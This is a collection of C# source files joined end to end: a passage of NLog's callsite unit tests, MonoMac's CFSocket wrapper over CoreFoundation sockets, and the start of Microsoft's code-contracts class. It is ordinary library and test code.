<logger name='*' levels='Warn' writeTo='debug' /> </rules> </nlog>"); var logger = LogManager.GetLogger("A"); logger.Warn("direct"); AssertDebugLastMessage("debug", string.Format("{0}|direct", currentMethodFullName)); CompositeWrapper wrappedLogger = new CompositeWrapper(); wrappedLogger.Log("wrapped"); AssertDebugLastMessage("debug", string.Format("{0}|wrapped", currentMethodFullName)); } #if ASYNC_SUPPORTED [Fact] public void Show_correct_method_with_async() { //namespace en name of current method const string currentMethodFullName = "NLog.UnitTests.LayoutRenderers.CallSiteTests.AsyncMethod"; LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite}|${message}' /></targets> <rules> <logger name='*' levels='Warn' writeTo='debug' /> </rules> </nlog>"); AsyncMethod().Wait(); AssertDebugLastMessage("debug", string.Format("{0}|direct", currentMethodFullName)); } private async Task AsyncMethod() { var logger = LogManager.GetCurrentClassLogger(); logger.Warn("direct"); var reader = new StreamReader(new MemoryStream(new byte[0])); await reader.ReadLineAsync(); } [Fact] public void Show_correct_method_with_async2() { //namespace en name of current method const string currentMethodFullName = "NLog.UnitTests.LayoutRenderers.CallSiteTests.AsyncMethod2b"; LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite}|${message}' /></targets> <rules> <logger name='*' levels='Warn' writeTo='debug' /> </rules> </nlog>"); AsyncMethod2a().Wait(); AssertDebugLastMessage("debug", string.Format("{0}|direct", currentMethodFullName)); } private async Task AsyncMethod2a() { await AsyncMethod2b(); } private async Task AsyncMethod2b() { var logger = LogManager.GetCurrentClassLogger(); logger.Warn("direct"); var reader = new StreamReader(new MemoryStream(new byte[0])); await reader.ReadLineAsync(); } [Fact] public void Show_correct_method_with_async3() { //namespace en name of current method const string currentMethodFullName = "NLog.UnitTests.LayoutRenderers.CallSiteTests.AsyncMethod3b"; LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite}|${message}' /></targets> <rules> <logger name='*' levels='Warn' writeTo='debug' /> </rules> </nlog>"); AsyncMethod3a().Wait(); AssertDebugLastMessage("debug", string.Format("{0}|direct", currentMethodFullName)); } private async Task AsyncMethod3a() { var reader = new StreamReader(new MemoryStream(new byte[0])); await reader.ReadLineAsync(); AsyncMethod3b(); } private void AsyncMethod3b() { var logger = LogManager.GetCurrentClassLogger(); logger.Warn("direct"); } [Fact] public void CallSiteShouldWorkForAsyncMethodsWithReturnValue() { var callSite = GetAsyncCallSite().GetAwaiter().GetResult(); Assert.Equal("NLog.UnitTests.LayoutRenderers.CallSiteTests.GetAsyncCallSite", callSite); } public async Task<string> GetAsyncCallSite() { Type loggerType = typeof(Logger); var stacktrace = StackTraceUsageUtils.GetWriteStackTrace(loggerType); var index = LoggerImpl.FindCallingMethodOnStackTrace(stacktrace, loggerType); var logEvent = new LogEventInfo(LogLevel.Error, "logger1", "message1"); logEvent.SetStackTrace(stacktrace, index); await Task.Delay(0); Layout l = "${callsite}"; var callSite = l.Render(logEvent); return callSite; } #endif [Fact] public void Show_correct_method_for_moveNext() { //namespace en name of current method const string currentMethodFullName = "NLog.UnitTests.LayoutRenderers.CallSiteTests.MoveNext"; LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite}|${message}' /></targets> <rules> <logger name='*' levels='Warn' writeTo='debug' /> </rules> </nlog>"); MoveNext(); AssertDebugLastMessage("debug", string.Format("{0}|direct", currentMethodFullName)); } private void MoveNext() { var logger = LogManager.GetCurrentClassLogger(); logger.Warn("direct"); } public class CompositeWrapper { private readonly MyWrapper wrappedLogger; public CompositeWrapper() { wrappedLogger = new MyWrapper(); } public void Log(string what) { wrappedLogger.Log(typeof(CompositeWrapper), what); } } public abstract class BaseWrapper { public void Log(string what) { InternalLog(typeof(BaseWrapper), what); } public void Log(Type type, string what) //overloaded with type for composition { InternalLog(type, what); } protected abstract void InternalLog(Type type, string what); } public class MyWrapper : BaseWrapper { private readonly ILogger wrapperLogger; public MyWrapper() { wrapperLogger = LogManager.GetLogger("WrappedLogger"); } protected override void InternalLog(Type type, string what) //added type for composition { LogEventInfo info = new LogEventInfo(LogLevel.Warn, wrapperLogger.Name, what); // Provide BaseWrapper as wrapper type. // Expected: UserStackFrame should point to the method that calls a // method of BaseWrapper. wrapperLogger.Log(type, info); } } #endregion private class MyLogger : Logger { } [Fact] public void CallsiteBySubclass_interface() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:classname=true:methodname=true} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("mylogger", typeof(MyLogger)); Assert.True(logger is MyLogger, "logger isn't MyLogger"); logger.Debug("msg"); AssertDebugLastMessage("debug", "NLog.UnitTests.LayoutRenderers.CallSiteTests.CallsiteBySubclass_interface msg"); } [Fact] public void CallsiteBySubclass_mylogger() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:classname=true:methodname=true} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); MyLogger logger = LogManager.GetLogger("mylogger", typeof(MyLogger)) as MyLogger; Assert.NotNull(logger); logger.Debug("msg"); AssertDebugLastMessage("debug", "NLog.UnitTests.LayoutRenderers.CallSiteTests.CallsiteBySubclass_mylogger msg"); } [Fact] public void CallsiteBySubclass_logger() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:classname=true:methodname=true} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); Logger logger = LogManager.GetLogger("mylogger", typeof(MyLogger)) as Logger; Assert.NotNull(logger); logger.Debug("msg"); AssertDebugLastMessage("debug", "NLog.UnitTests.LayoutRenderers.CallSiteTests.CallsiteBySubclass_logger msg"); } [Fact] public void Should_preserve_correct_callsite_information() { // Step 1. Create configuration object var config = new LoggingConfiguration(); // Step 2. Create targets and add them to the configuration var target = new MemoryTarget(); config.AddTarget("target", target); // Step 3. Set target properties target.Layout = "${date:format=HH\\:MM\\:ss} ${logger} ${callsite} ${message}"; // Step 4. Define rules var rule = new LoggingRule("*", LogLevel.Debug, target); config.LoggingRules.Add(rule); var factory = new NLogFactory(config); WriteLogMessage(factory); var logMessage = target.Logs[0]; Assert.Contains("CallSiteTests.WriteLogMessage", logMessage); } [MethodImpl(MethodImplOptions.NoInlining)] private void WriteLogMessage(NLogFactory factory) { var logger = factory.Create("MyLoggerName"); logger.Debug("something"); } /// <summary> /// /// </summary> public class NLogFactory { internal const string defaultConfigFileName = "nlog.config"; /// <summary> /// Initializes a new instance of the <see cref="NLogFactory" /> class. /// </summary> /// <param name="loggingConfiguration"> The NLog Configuration </param> public NLogFactory(LoggingConfiguration loggingConfiguration) { LogManager.Configuration = loggingConfiguration; } /// <summary> /// Creates a logger with specified <paramref name="name" />. /// </summary> /// <param name="name"> The name. </param> /// <returns> </returns> public NLogLogger Create(string name) { var log = LogManager.GetLogger(name); return new NLogLogger(log); } } /// <summary> /// If some calls got inlined, we can't find LoggerType anymore. We should fallback if loggerType can be found /// /// Example of those stacktraces: /// at NLog.LoggerImpl.Write(Type loggerType, TargetWithFilterChain targets, LogEventInfo logEvent, LogFactory factory) in c:\temp\NLog\src\NLog\LoggerImpl.cs:line 68 /// at NLog.UnitTests.LayoutRenderers.NLogLogger.ErrorWithoutLoggerTypeArg(String message) in c:\temp\NLog\tests\NLog.UnitTests\LayoutRenderers\CallSiteTests.cs:line 989 /// at NLog.UnitTests.LayoutRenderers.CallSiteTests.TestCallsiteWhileCallsGotInlined() in c:\temp\NLog\tests\NLog.UnitTests\LayoutRenderers\CallSiteTests.cs:line 893 /// /// </summary> [Fact] public void CallSiteShouldWorkEvenInlined() { Type loggerType = typeof(Logger); var stacktrace = StackTraceUsageUtils.GetWriteStackTrace(loggerType); var index = LoggerImpl.FindCallingMethodOnStackTrace(stacktrace, loggerType); var logEvent = new LogEventInfo(LogLevel.Error, "logger1", "message1"); logEvent.SetStackTrace(stacktrace, index); Layout l = "${callsite}"; var callSite = l.Render(logEvent); Assert.Equal("NLog.UnitTests.LayoutRenderers.CallSiteTests.CallSiteShouldWorkEvenInlined", callSite); } } /// <summary> /// Implementation of <see cref="ILogger" /> for NLog. /// </summary> public class NLogLogger { /// <summary> /// Initializes a new instance of the <see cref="NLogLogger" /> class. /// </summary> /// <param name="logger"> The logger. </param> public NLogLogger(Logger logger) { Logger = logger; } /// <summary> /// Gets or sets the logger. /// </summary> /// <value> The logger. </value> protected internal Logger Logger { get; set; } /// <summary> /// Returns a <see cref="string" /> that represents this instance. /// </summary> /// <returns> A <see cref="string" /> that represents this instance. </returns> public override string ToString() { return Logger.ToString(); } /// <summary> /// Logs a debug message. /// </summary> /// <param name="message"> The message to log </param> public void Debug(string message) { Log(LogLevel.Debug, message); } public void Log(LogLevel logLevel, string message) { Logger.Log(typeof(NLogLogger), new LogEventInfo(logLevel, Logger.Name, message)); } } }
// // MonoMac.CoreFoundation.CFSocket // // Authors: // Martin Baulig (martin.baulig@xamarin.com) // // Copyright 2012 Xamarin Inc. (http://www.xamarin.com) // // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using MonoMac.CoreFoundation; using MonoMac.ObjCRuntime; namespace MonoMac.CoreFoundation { [Flags] public enum CFSocketCallBackType { NoCallBack = 0, ReadCallBack = 1, AcceptCallBack = 2, DataCallBack = 3, ConnectCallBack = 4, WriteCallBack = 8 } public enum CFSocketError { Success = 0, Error = -1, Timeout = -2 } [Flags] public enum CFSocketFlags { AutomaticallyReenableReadCallBack = 1, AutomaticallyReenableAcceptCallBack = 2, AutomaticallyReenableDataCallBack = 3, AutomaticallyReenableWriteCallBack = 8, LeaveErrors = 64, CloseOnInvalidate = 128 } public struct CFSocketNativeHandle { internal readonly int handle; internal CFSocketNativeHandle (int handle) { this.handle = handle; } public override string ToString () { return string.Format ("[CFSocketNativeHandle {0}]", handle); } } public class CFSocketException : Exception { public CFSocketError Error { get; private set; } public CFSocketException (CFSocketError error) { this.Error = error; } } struct CFSocketSignature { int protocolFamily; int socketType; int protocol; IntPtr address; public CFSocketSignature (AddressFamily family, SocketType type, ProtocolType proto, CFSocketAddress address) { this.protocolFamily = AddressFamilyToInt (family); this.socketType = SocketTypeToInt (type); this.protocol = ProtocolToInt (proto); this.address = address.Handle; } internal static int AddressFamilyToInt (AddressFamily family) { switch (family) { case AddressFamily.Unspecified: return 0; case AddressFamily.Unix: return 1; case AddressFamily.InterNetwork: return 2; case AddressFamily.AppleTalk: return 16; case AddressFamily.InterNetworkV6: return 30; default: throw new ArgumentException (); } } internal static int SocketTypeToInt (SocketType type) { if ((int) type == 0) return 0; switch (type) { case SocketType.Unknown: return 0; case SocketType.Stream: return 1; case SocketType.Dgram: return 2; case SocketType.Raw: return 3; case SocketType.Rdm: return 4; case SocketType.Seqpacket: return 5; default: throw new ArgumentException (); } } internal static int ProtocolToInt (ProtocolType type) { return (int) type; } } class CFSocketAddress : CFDataBuffer { public CFSocketAddress (IPEndPoint endpoint) : base (CreateData (endpoint)) { } internal static IPEndPoint EndPointFromAddressPtr (IntPtr address) { using (var buffer = new CFDataBuffer (address)) { if (buffer [1] == 30) { // AF_INET6 int port = (buffer [2] << 8) + buffer [3]; var bytes = new byte [16]; Buffer.BlockCopy (buffer.Data, 8, bytes, 0, 16); return new IPEndPoint (new IPAddress (bytes), port); } else if (buffer [1] == 2) { // AF_INET int port = (buffer [2] << 8) + buffer [3]; var bytes = new byte [4]; Buffer.BlockCopy (buffer.Data, 4, bytes, 0, 4); return new IPEndPoint (new IPAddress (bytes), port); } else { throw new ArgumentException (); } } } static byte[] CreateData (IPEndPoint endpoint) { if (endpoint.AddressFamily == AddressFamily.InterNetwork) { var buffer = new byte [16]; buffer [0] = 16; buffer [1] = 2; // AF_INET buffer [2] = (byte)(endpoint.Port >> 8); buffer [3] = (byte)(endpoint.Port & 0xff); Buffer.BlockCopy (endpoint.Address.GetAddressBytes (), 0, buffer, 4, 4); return buffer; } else if (endpoint.AddressFamily == AddressFamily.InterNetworkV6) { var buffer = new byte [28]; buffer [0] = 32; buffer [1] = 30; // AF_INET6 buffer [2] = (byte)(endpoint.Port >> 8); buffer [3] = (byte)(endpoint.Port & 0xff); Buffer.BlockCopy (endpoint.Address.GetAddressBytes (), 0, buffer, 8, 16); return buffer; } else { throw new ArgumentException (); } } } public class CFSocket : CFType, INativeObject, IDisposable { IntPtr handle; GCHandle gch; ~CFSocket () { Dispose (false); } public void Dispose () { Dispose (true); GC.SuppressFinalize (this); } public IntPtr Handle { get { return handle; } } protected virtual void Dispose (bool disposing) { if (disposing) { if (gch.IsAllocated) gch.Free (); } if (handle != IntPtr.Zero) { CFObject.CFRelease (handle); handle = IntPtr.Zero; } } delegate void CFSocketCallBack (IntPtr s, int type, IntPtr address, IntPtr data, IntPtr info); [MonoPInvokeCallback (typeof(CFSocketCallBack))] static void OnCallback (IntPtr s, int type, IntPtr address, IntPtr data, IntPtr info) { var socket = GCHandle.FromIntPtr (info).Target as CFSocket; CFSocketCallBackType cbType = (CFSocketCallBackType)type; if (cbType == CFSocketCallBackType.AcceptCallBack) { var ep = CFSocketAddress.EndPointFromAddressPtr (address); var handle = new CFSocketNativeHandle (Marshal.ReadInt32 (data)); socket.OnAccepted (new CFSocketAcceptEventArgs (handle, ep)); } else if (cbType == CFSocketCallBackType.ConnectCallBack) { CFSocketError result; if (data == IntPtr.Zero) result = CFSocketError.Success; else result = (CFSocketError)Marshal.ReadInt32 (data); socket.OnConnect (new CFSocketConnectEventArgs (result)); } } [DllImport (Constants.CoreFoundationLibrary)] extern static IntPtr CFSocketCreate (IntPtr allocator, int family, int type, int proto, CFSocketCallBackType callBackTypes, CFSocketCallBack callout, IntPtr ctx); [DllImport (Constants.CoreFoundationLibrary)] extern static IntPtr CFSocketCreateWithNative (IntPtr allocator, CFSocketNativeHandle sock, CFSocketCallBackType callBackTypes, CFSocketCallBack callout, IntPtr ctx); [DllImport (Constants.CoreFoundationLibrary)] extern static IntPtr CFSocketCreateRunLoopSource (IntPtr allocator, IntPtr socket, int order); public CFSocket () : this (0, 0, 0) { } public CFSocket (AddressFamily family, SocketType type, ProtocolType proto) : this (family, type, proto, CFRunLoop.Current) { } public CFSocket (AddressFamily family, SocketType type, ProtocolType proto, CFRunLoop loop) : this (CFSocketSignature.AddressFamilyToInt (family), CFSocketSignature.SocketTypeToInt (type), CFSocketSignature.ProtocolToInt (proto), loop) { } CFSocket (int family, int type, int proto, CFRunLoop loop) { var cbTypes = CFSocketCallBackType.DataCallBack | CFSocketCallBackType.ConnectCallBack; gch = GCHandle.Alloc (this); var ctx = new CFStreamClientContext (); ctx.Info = GCHandle.ToIntPtr (gch); var ptr = Marshal.AllocHGlobal (Marshal.SizeOf (typeof(CFStreamClientContext))); try { Marshal.StructureToPtr (ctx, ptr, false); handle = CFSocketCreate ( IntPtr.Zero, family, type, proto, cbTypes, OnCallback, ptr); } finally { Marshal.FreeHGlobal (ptr); } if (handle == IntPtr.Zero) throw new CFSocketException (CFSocketError.Error); gch = GCHandle.Alloc (this); var source = new CFRunLoopSource (CFSocketCreateRunLoopSource (IntPtr.Zero, handle, 0)); loop.AddSource (source, CFRunLoop.CFDefaultRunLoopMode); } internal CFSocket (CFSocketNativeHandle sock) { var cbTypes = CFSocketCallBackType.DataCallBack | CFSocketCallBackType.WriteCallBack; gch = GCHandle.Alloc (this); var ctx = new CFStreamClientContext (); ctx.Info = GCHandle.ToIntPtr (gch); var ptr = Marshal.AllocHGlobal (Marshal.SizeOf (typeof(CFStreamClientContext))); try { Marshal.StructureToPtr (ctx, ptr, false); handle = CFSocketCreateWithNative ( IntPtr.Zero, sock, cbTypes, OnCallback, ptr); } finally { Marshal.FreeHGlobal (ptr); } if (handle == IntPtr.Zero) throw new CFSocketException (CFSocketError.Error); var source = new CFRunLoopSource (CFSocketCreateRunLoopSource (IntPtr.Zero, handle, 0)); var loop = CFRunLoop.Current; loop.AddSource (source, CFRunLoop.CFDefaultRunLoopMode); } CFSocket (IntPtr handle) { this.handle = handle; gch = GCHandle.Alloc (this); var source = new CFRunLoopSource (CFSocketCreateRunLoopSource (IntPtr.Zero, handle, 0)); var loop = CFRunLoop.Current; loop.AddSource (source, CFRunLoop.CFDefaultRunLoopMode); } [DllImport (Constants.CoreFoundationLibrary)] extern static IntPtr CFSocketCreateConnectedToSocketSignature (IntPtr allocator, ref CFSocketSignature signature, CFSocketCallBackType callBackTypes, CFSocketCallBack callout, IntPtr context, double timeout); public static CFSocket CreateConnectedToSocketSignature (AddressFamily family, SocketType type, ProtocolType proto, IPEndPoint endpoint, double timeout) { var cbTypes = CFSocketCallBackType.ConnectCallBack | CFSocketCallBackType.DataCallBack; using (var address = new CFSocketAddress (endpoint)) { var sig = new CFSocketSignature (family, type, proto, address); var handle = CFSocketCreateConnectedToSocketSignature ( IntPtr.Zero, ref sig, cbTypes, OnCallback, IntPtr.Zero, timeout); if (handle == IntPtr.Zero) throw new CFSocketException (CFSocketError.Error); return new CFSocket (handle); } } [DllImport (Constants.CoreFoundationLibrary)] extern static CFSocketNativeHandle CFSocketGetNative (IntPtr handle); internal CFSocketNativeHandle GetNative () { return CFSocketGetNative (handle); } [DllImport (Constants.CoreFoundationLibrary)] extern static CFSocketError CFSocketSetAddress (IntPtr handle, IntPtr address); public void SetAddress (IPAddress address, int port) { SetAddress (new IPEndPoint (address, port)); } public void SetAddress (IPEndPoint endpoint) { EnableCallBacks (CFSocketCallBackType.AcceptCallBack); var flags = GetSocketFlags (); flags |= CFSocketFlags.AutomaticallyReenableAcceptCallBack; SetSocketFlags (flags); using (var address = new CFSocketAddress (endpoint)) { var error = CFSocketSetAddress (handle, address.Handle); if (error != CFSocketError.Success) throw new CFSocketException (error); } } [DllImport (Constants.CoreFoundationLibrary)] extern static CFSocketFlags CFSocketGetSocketFlags (IntPtr handle); public CFSocketFlags GetSocketFlags () { return CFSocketGetSocketFlags (handle); } [DllImport (Constants.CoreFoundationLibrary)] extern static void CFSocketSetSocketFlags (IntPtr handle, CFSocketFlags flags); public void SetSocketFlags (CFSocketFlags flags) { CFSocketSetSocketFlags (handle, flags); } [DllImport (Constants.CoreFoundationLibrary)] extern static void CFSocketDisableCallBacks (IntPtr handle, CFSocketCallBackType types); public void DisableCallBacks (CFSocketCallBackType types) { CFSocketDisableCallBacks (handle, types); } [DllImport (Constants.CoreFoundationLibrary)] extern static void CFSocketEnableCallBacks (IntPtr handle, CFSocketCallBackType types); public void EnableCallBacks (CFSocketCallBackType types) { CFSocketEnableCallBacks (handle, types); } [DllImport (Constants.CoreFoundationLibrary)] extern static CFSocketError CFSocketSendData (IntPtr handle, IntPtr address, IntPtr data, double timeout); public void SendData (byte[] data, double timeout) { using (var buffer = new CFDataBuffer (data)) { var error = CFSocketSendData (handle, IntPtr.Zero, buffer.Handle, timeout); if (error != CFSocketError.Success) throw new CFSocketException (error); } } public class CFSocketAcceptEventArgs : EventArgs { internal CFSocketNativeHandle SocketHandle { get; private set; } public IPEndPoint RemoteEndPoint { get; private set; } public CFSocketAcceptEventArgs (CFSocketNativeHandle handle, IPEndPoint remote) { this.SocketHandle = handle; this.RemoteEndPoint = remote; } public CFSocket CreateSocket () { return new CFSocket (SocketHandle); } public override string ToString () { return string.Format ("[CFSocketAcceptEventArgs: RemoteEndPoint={0}]", RemoteEndPoint); } } public class CFSocketConnectEventArgs : EventArgs { public CFSocketError Result { get; private set; } public CFSocketConnectEventArgs (CFSocketError result) { this.Result = result; } public override string ToString () { return string.Format ("[CFSocketConnectEventArgs: Result={0}]", Result); } } public event EventHandler<CFSocketAcceptEventArgs> AcceptEvent; public event EventHandler<CFSocketConnectEventArgs> ConnectEvent; void OnAccepted (CFSocketAcceptEventArgs args) { if (AcceptEvent != null) AcceptEvent (this, args); } void OnConnect (CFSocketConnectEventArgs args) { if (ConnectEvent != null) ConnectEvent (this, args); } [DllImport (Constants.CoreFoundationLibrary)] extern static CFSocketError CFSocketConnectToAddress (IntPtr handle, IntPtr address, double timeout); public void Connect (IPAddress address, int port, double timeout) { Connect (new IPEndPoint (address, port), timeout); } public void Connect (IPEndPoint endpoint, double timeout) { using (var address = new CFSocketAddress (endpoint)) { var error = CFSocketConnectToAddress (handle, address.Handle, timeout); if (error != CFSocketError.Success) throw new CFSocketException (error); } } } }
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. /*============================================================ ** ** ** ** Purpose: The contract class allows for expressing preconditions, ** postconditions, and object invariants about methods in source ** code for runtime checking & static analysis. ** ** Two classes (Contract and ContractHelper) are split into partial classes ** in order to share the public front for multiple platforms (this file) ** while providing separate implementation details for each platform. ** ===========================================================*/ #define DEBUG // The behavior of this contract library should be consistent regardless of build type. #if SILVERLIGHT #define FEATURE_UNTRUSTED_CALLERS #elif REDHAWK_RUNTIME #elif BARTOK_RUNTIME #else // CLR #define FEATURE_UNTRUSTED_CALLERS #define FEATURE_RELIABILITY_CONTRACTS #define FEATURE_SERIALIZATION #endif using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.Diagnostics.Contracts; #if FEATURE_RELIABILITY_CONTRACTS using System.Runtime.ConstrainedExecution; #endif #if FEATURE_UNTRUSTED_CALLERS using System.Security; using System.Security.Permissions; #endif namespace System.Diagnostics.Contracts { #region Attributes /// <summary> /// Methods and classes marked with this attribute can be used within calls to Contract methods. Such methods not make any visible state changes. /// </summary> [Conditional("CONTRACTS_FULL")] [AttributeUsage(AttributeTargets.Constructor | AttributeTargets.Method | AttributeTargets.Property | AttributeTargets.Event | AttributeTargets.Delegate | AttributeTargets.Class | AttributeTargets.Parameter, AllowMultiple = false, Inherited = true)] public sealed class PureAttribute : Attribute { } /// <summary> /// Types marked with this attribute specify that a separate type contains the contracts for this type. /// </summary> [Conditional("CONTRACTS_FULL")] [Conditional("DEBUG")] [AttributeUsage(AttributeTargets.Class | AttributeTargets.Interface | AttributeTargets.Delegate, AllowMultiple = false, Inherited = false)] public sealed class ContractClassAttribute : Attribute { private Type _typeWithContracts; public ContractClassAttribute(Type typeContainingContracts) { _typeWithContracts = typeContainingContracts; } public Type TypeContainingContracts { get { return _typeWithContracts; } } } /// <summary> /// Types marked with this attribute specify that they are a contract for the type that is the argument of the constructor. /// </summary> [Conditional("CONTRACTS_FULL")] [AttributeUsage(AttributeTargets.Class, AllowMultiple = false, Inherited = false)] public sealed class ContractClassForAttribute : Attribute { private Type _typeIAmAContractFor; public ContractClassForAttribute(Type typeContractsAreFor) { _typeIAmAContractFor = typeContractsAreFor; } public Type TypeContractsAreFor { get { return _typeIAmAContractFor; } } } /// <summary> /// This attribute is used to mark a method as being the invariant /// method for a class. The method can have any name, but it must /// return "void" and take no parameters. The body of the method /// must consist solely of one or more calls to the method /// Contract.Invariant. A suggested name for the method is /// "ObjectInvariant". /// </summary> [Conditional("CONTRACTS_FULL")] [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] public sealed class ContractInvariantMethodAttribute : Attribute { } /// <summary> /// Attribute that specifies that an assembly is a reference assembly with contracts. /// </summary> [AttributeUsage(AttributeTargets.Assembly)] public sealed class ContractReferenceAssemblyAttribute : Attribute { } /// <summary> /// Methods (and properties) marked with this attribute can be used within calls to Contract methods, but have no runtime behavior associated with them. /// </summary> [Conditional("CONTRACTS_FULL")] [AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, AllowMultiple = false, Inherited = true)] public sealed class ContractRuntimeIgnoredAttribute : Attribute { } /* #if FEATURE_SERIALIZATION [Serializable] #endif internal enum Mutability { Immutable, // read-only after construction, except for lazy initialization & caches // Do we need a "deeply immutable" value? Mutable, HasInitializationPhase, // read-only after some point. // Do we need a value for mutable types with read-only wrapper subclasses? } // Note: This hasn't been thought through in any depth yet. Consider it experimental. // We should replace this with Joe's concepts. [Conditional("CONTRACTS_FULL")] [AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct, AllowMultiple = false, Inherited = false)] [SuppressMessage("Microsoft.Design", "CA1019:DefineAccessorsForAttributeArguments", Justification = "Thank you very much, but we like the names we've defined for the accessors")] internal sealed class MutabilityAttribute : Attribute { private Mutability _mutabilityMarker; public MutabilityAttribute(Mutability mutabilityMarker) { _mutabilityMarker = mutabilityMarker; } public Mutability Mutability { get { return _mutabilityMarker; } } } */ /// <summary> /// Instructs downstream tools whether to assume the correctness of this assembly, type or member without performing any verification or not. /// Can use [ContractVerification(false)] to explicitly mark assembly, type or member as one to *not* have verification performed on it. /// Most specific element found (member, type, then assembly) takes precedence. /// (That is useful if downstream tools allow a user to decide which polarity is the default, unmarked case.) /// </summary> /// <remarks> /// Apply this attribute to a type to apply to all members of the type, including nested types. /// Apply this attribute to an assembly to apply to all types and members of the assembly. /// Apply this attribute to a property to apply to both the getter and setter. /// </remarks> [Conditional("CONTRACTS_FULL")] [AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Method | AttributeTargets.Constructor | AttributeTargets.Property)] public sealed class ContractVerificationAttribute : Attribute { private bool _value; public ContractVerificationAttribute(bool value) { _value = value; } public bool Value { get { return _value; } } } /// <summary> /// Allows a field f to be used in the method contracts for a method m when f has less visibility than m. /// For instance, if the method is public, but the field is private. /// </summary> [Conditional("CONTRACTS_FULL")] [AttributeUsage(AttributeTargets.Field)] [SuppressMessage("Microsoft.Design", "CA1019:DefineAccessorsForAttributeArguments", Justification = "Thank you very much, but we like the names we've defined for the accessors")] public sealed class ContractPublicPropertyNameAttribute : Attribute { private String _publicName; public ContractPublicPropertyNameAttribute(String name) { _publicName = name; } public String Name { get { return _publicName; } } } /// <summary> /// Enables factoring legacy if-then-throw into separate methods for reuse and full control over /// thrown exception and arguments /// </summary> [AttributeUsage(AttributeTargets.Method, AllowMultiple = false)] [Conditional("CONTRACTS_FULL")] public sealed class ContractArgumentValidatorAttribute : Attribute { } /// <summary> /// Enables writing abbreviations for contracts that get copied to other methods /// </summary> [AttributeUsage(AttributeTargets.Method, AllowMultiple = false)] [Conditional("CONTRACTS_FULL")] public sealed class ContractAbbreviatorAttribute : Attribute { } /// <summary> /// Allows setting contract and tool options at assembly, type, or method granularity. /// </summary> [AttributeUsage(AttributeTargets.All, AllowMultiple = true, Inherited = false)] [Conditional("CONTRACTS_FULL")] public sealed class ContractOptionAttribute : Attribute { private String _category; private String _setting; private bool _enabled; private String _value; public ContractOptionAttribute(String category, String setting, bool enabled) { _category = category; _setting = setting; _enabled = enabled; } public ContractOptionAttribute(String category, String setting, String value) { _category = category; _setting = setting; _value = value; } public String Category { get { return _category; } } public String Setting { get { return _setting; } } public bool Enabled { get { return _enabled; } } public String Value { get { return _value; } } } #endregion Attributes /// <summary> /// Contains static methods for representing program contracts such as preconditions, postconditions, and invariants. /// </summary> /// <remarks> /// WARNING: A binary rewriter must be used to insert runtime enforcement of these contracts. /// Otherwise some contracts like Ensures can only be checked statically and will not throw exceptions during runtime when contracts are violated. /// Please note this class uses conditional compilation to help avoid easy mistakes. Defining the preprocessor /// symbol CONTRACTS_PRECONDITIONS will include all preconditions expressed using Contract.Requires in your /// build. The symbol CONTRACTS_FULL will include postconditions and object invariants, and requires the binary rewriter. /// </remarks> public static partial class Contract { #region User Methods #region Assume /// <summary> /// Instructs code analysis tools to assume the expression <paramref name="condition"/> is true even if it can not be statically proven to always be true. /// </summary> /// <param name="condition">Expression to assume will always be true.</param> /// <remarks> /// At runtime this is equivalent to an <seealso cref="System.Diagnostics.Contracts.Contract.Assert(bool)"/>. /// </remarks> [Pure] [Conditional("DEBUG")] [Conditional("CONTRACTS_FULL")] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static void Assume(bool condition) { if (!condition) { ReportFailure(ContractFailureKind.Assume, null, null, null); } } /// <summary> /// Instructs code analysis tools to assume the expression <paramref name="condition"/> is true even if it can not be statically proven to always be true. /// </summary> /// <param name="condition">Expression to assume will always be true.</param> /// <param name="userMessage">If it is not a constant string literal, then the contract may not be understood by tools.</param> /// <remarks> /// At runtime this is equivalent to an <seealso cref="System.Diagnostics.Contracts.Contract.Assert(bool)"/>. /// </remarks> [Pure] [Conditional("DEBUG")] [Conditional("CONTRACTS_FULL")] #if FEATURE_RELIABILITY_CONTRACTS [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] #endif public static void Assume(bool condition, String userMessage) { if (!condition) { ReportFailure(ContractFailureKind.Assume, userMessage, null, null); } } #endregion 